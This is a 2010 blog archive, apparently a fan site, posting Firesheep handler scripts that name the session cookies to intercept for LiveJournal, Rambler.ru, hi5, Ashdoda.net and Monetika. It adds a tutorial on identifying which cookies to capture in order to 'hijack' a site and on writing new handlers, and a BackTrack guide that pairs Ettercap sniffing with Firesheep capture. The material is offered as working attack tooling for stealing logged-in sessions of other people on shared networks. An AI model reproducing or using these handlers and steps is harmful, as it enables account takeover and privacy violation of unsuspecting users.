Pages

Search This Blog

Friday 26 November 2010

Firesheep => LiveJournal.com Handler


// Author
    // cityZombie <chebon9@gmail.com>
    // For more handlers visit : http://firesheepfan.blogspot.com/

register({
  name: "LiveJournal",
  domains: [ 'livejournal.com' ],
  sessionCookieNames: [ 'ljmastersession' ],
    identifyUser: function () {
        var resp = this.httpGet("http://www.livejournal.com/update.bml");

this.userName   = resp.body.querySelector('#current_username').innerHTML;
    this.userAvatar = resp.body.querySelector('#userpic_preview_image').src;
  }
});

Saturday 20 November 2010

Firesheep => Ashdoda.net Handler

// Author
    // cityZombie <chebon9@gmail.com>
    // For more handlers visit : http://firesheepfan.blogspot.com/

register({
  name: "Ashdoda.net",
  domains: [ 'ashdoda.net' ],
  sessionCookieNames: [ 'ci_session','userauth' ],
  identifyUser: function () {
        var resp = this.httpGet(this.siteUrl + "user/panel/");

this.userName   = resp.body.querySelector("input[name='nick']").value;
  }
});

Friday 19 November 2010

Firesheep => Rambler.ru Handler


// Author
    // cityZombie <chebon9@gmail.com>
    // For more handlers visit : http://firesheepfan.blogspot.com/

register({
  name: "Rambler.ru",
  domains: [ 'rambler.ru' ],
  sessionCookieNames: [ 'rsid' ],
  identifyUser: function () {
    var resp = this.httpGet("https://id.rambler.ru/script/settings.cgi?mode=settings");

this.userName   = resp.body.querySelector("input[name='user.fname']").value + " " + resp.body.querySelector("input[name='user.lname']").value;

  }
});

Firesheep => Hi5.com Handler


// Author
    // cityZombie <chebon9@gmail.com>
    // For more handlers visit : http://firesheepfan.blogspot.com/

register({
  name: "hi5",
  domains: [ 'hi5.com' ],
  sessionCookieNames: [ 'JSESSIONID','Userid' ],

  identifyUser: function () {
    var resp = this.httpGet(this.siteUrl + "friend/account/settings.do");

this.userName   = resp.body.querySelector("input[name='email']").value;
this.userAvatar = resp.body.querySelector('#PageHeader-Avatar img').src;
  }
});

Create your own handlers!

Writing Handlers

Firesheep works by sniffing http requests that include the cookie values for specific websites. In order to create new handler you first need to discover which cookie is used by the website to identify you.


Discovering which cookie is required
Download a plugin that will allow you to edit and delta cookies from your browser. (FireCookie for firefox is good or "Edit This Cookie for Chrome" is good) Go to webpage you want to hijack. Remove one cookie at a time then refresh the page to see if you are still logged in. If you delete the session cookie it will look like you're logged out. add the cookie back and try a different cookie. Repeat for all cookies. Sometimes you'll need multiple cookies to identify yourself to the website, so take a note of each cookie that logs you out.


Create your handler
Find your handlers directory (TODO add paths for OSX and Windows)
Create a file in the handlers directory named website.js (replace website with the url you're using)
Add the following code to the js file you just created.
register({
  name: 'website.com', //the name that will show up in the Firesheep sidebar
  url: 'http://www.website.com/', //the website url that Firesheep will match on
  icon: 'http://website.com/images/favicon.gif?2', //a full path to a favicon if the favicon isn't in the default location (optional)
  domains: [ 'website.com' ], //the actual domain that Firesheep will look for in the request
  sessionCookieNames: [ 'cookie1', 'cookie2' ], //a list of cookie key names that firesheep will intercept and send on 
                                                                     //your behalf (this should be the list of cookies you noted in the previous step)

  identifyUser: function() { //Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list
    var site = this.httpGet(this.siteUrl); //this will pull down a page that contains the value for the username and avatar
    this.userName = site.body.querySelector('input#user_email.text_field').value; //use a query selector to pull out the username from the page (optional)
    this.userAvatar = resp.body.querySelector('#navAccountPic img').src; //another query selector to grab the image (optional) 
  }
});
That's about it. Restart Firefox to make sure Firesheep picks up your new handler. Then as you tweak your handler simply stop and restart Firesheep from intercepting and it'll pick up your changes.

Monday 15 November 2010

Firesheep in BackTrack 4R1


1) Update your firefox,follow this nice step-by-step guide to do it.
2) Now download firesheep plugin from here . (thx to jnew from github)
3) Open your firefox and go to Tools -> Add-ons -> Extensions and drag there a firesheep plugin.
4) Run Ettercap and start sniffing.
5) Go back to your firefox check the firesheep preferences and hit the "Start Capturing" button!

Saturday 13 November 2010

Firesheep => Monetika.com Handler

// Author
// cityZombie <chebon9@gmail.com>
// For more handlers visit : http://firesheepfan.blogspot.com/

register({
  name: "Monetika.com",
  domains: [ 'www.monetika.com' ],
  sessionCookieNames: [ 'DvaSovetaIdentity' ],
  identifyUser: function () {
    var resp = this.httpGet(this.siteUrl + "EditProfile.aspx");
    this.userName   = resp.body.querySelector("input[name='ctl00$PageContent$UserName']").value;;
  }
});